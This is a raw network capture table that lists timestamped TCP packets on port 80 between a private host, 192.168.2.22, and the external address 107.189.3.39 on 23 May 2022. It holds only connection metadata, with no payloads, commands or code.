May 23, 2022 09:50:16.903080940 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.903080940 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.903125048 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.903131962 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.903152943 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.903168917 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.903208017 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.903219938 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.903497934 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904134989 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904160023 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904177904 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904195070 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904201031 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904211998 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904213905 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904239893 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904262066 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904283047 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904300928 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904316902 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904331923 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904336929 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904345036 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904356003 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904370070 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904372931 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904375076 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904387951 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904392004 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904411077 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904412031 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904422998 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904428005 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904447079 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904455900 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904464006 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904468060 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904500008 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904509068 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904516935 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904517889 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904535055 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904553890 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904561996 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904568911 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904571056 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904573917 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904588938 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904588938 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904607058 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904607058 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904623985 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904639959 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904644012 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904663086 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904680014 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904696941 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904709101 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904714108 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904721022 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904733896 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904736996 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904751062 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904751062 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904766083 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904767990 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.904795885 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.904810905 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.905199051 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932307005 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932358980 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932379961 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932400942 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932430983 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932516098 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932547092 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932574987 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932626009 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932679892 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932688951 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932693958 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932698965 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932719946 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932748079 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932776928 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932780981 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932794094 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932806969 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932832956 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932836056 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932843924 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932863951 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932882071 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932892084 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932914019 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932919979 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932929993 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932946920 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.932965994 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.932986021 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.933315039 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.934030056 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.934113979 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.934144974 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.934148073 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.934161901 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.934170008 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.934181929 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.934220076 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935287952 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935317039 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935344934 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935374975 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935404062 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935408115 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935417891 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935422897 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935431004 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935444117 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935461998 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935476065 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935489893 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935508013 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935518026 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935539961 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935547113 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935559988 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935575008 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935594082 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935601950 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935615063 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935630083 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935647011 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935657978 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935674906 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935688972 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935705900 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935717106 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935725927 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935745001 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935760975 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935774088 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935791016 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935802937 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935823917 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935832024 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935842037 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935853004 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935882092 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935882092 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935894012 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935909986 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935924053 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935939074 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935955048 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.935966015 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.935983896 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.936007023 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.936023951 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.936036110 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.936053038 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.936062098 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.936089039 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.936091900 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.936101913 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.936121941 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.936136007 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.936177015 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.936693907 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.962658882 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.962712049 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.962750912 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.962790966 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.962830067 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.962861061 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.962871075 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.962878942 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.962889910 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.962913036 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.962913990 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.962953091 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.962955952 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.962992907 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.962996960 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963033915 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963038921 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963073015 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963073969 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963113070 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963113070 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963152885 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963155031 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963192940 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963192940 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963232994 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963233948 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963259935 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963275909 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963299990 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963299990 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963339090 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963340998 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963376999 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963381052 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963417053 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963417053 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963454962 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963455915 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963495016 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963495970 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963536024 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963567019 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963572979 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963574886 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963613987 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963617086 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963654041 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963655949 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963691950 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963696003 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963731050 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963732004 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963771105 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963773012 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963810921 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963813066 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963850975 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963852882 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963890076 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963896036 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963953018 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.963954926 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963994026 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.963999033 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964032888 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964036942 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964071035 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964076042 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964111090 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964118958 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964148998 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964152098 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964189053 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964190006 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964230061 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964243889 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964283943 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964322090 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964323044 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964360952 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964363098 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964399099 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964401960 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964438915 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964442968 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964488029 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964509010 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964557886 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964560032 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964602947 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964602947 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964639902 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964672089 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964680910 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964682102 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964720011 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964721918 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964757919 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964757919 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964848042 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964879990 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964888096 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964890003 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964930058 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964931965 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.964968920 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.964970112 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965007067 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965024948 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965045929 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965048075 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965087891 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965090036 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965126991 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965130091 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965167046 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965167999 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965207100 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965207100 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965245962 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965246916 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965286016 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965286970 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965323925 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965326071 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965363026 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965363979 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965401888 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965404034 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965441942 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965441942 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965483904 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965487003 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965521097 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965526104 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965559959 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965560913 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965600014 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965610027 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965639114 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965643883 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965678930 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965679884 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965723038 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965795994 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965837002 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965850115 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965877056 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965878963 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965915918 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.965924025 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965948105 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965954065 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.965956926 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966007948 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966025114 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966047049 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966049910 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966085911 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966087103 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966126919 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966133118 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966164112 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966169119 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966201067 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966203928 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966243029 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966248035 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966284037 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966288090 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966325045 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966325045 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966362953 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966363907 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966403008 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966408014 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966442108 CEST	80	49174	107.189.3.39	192.168.2.22
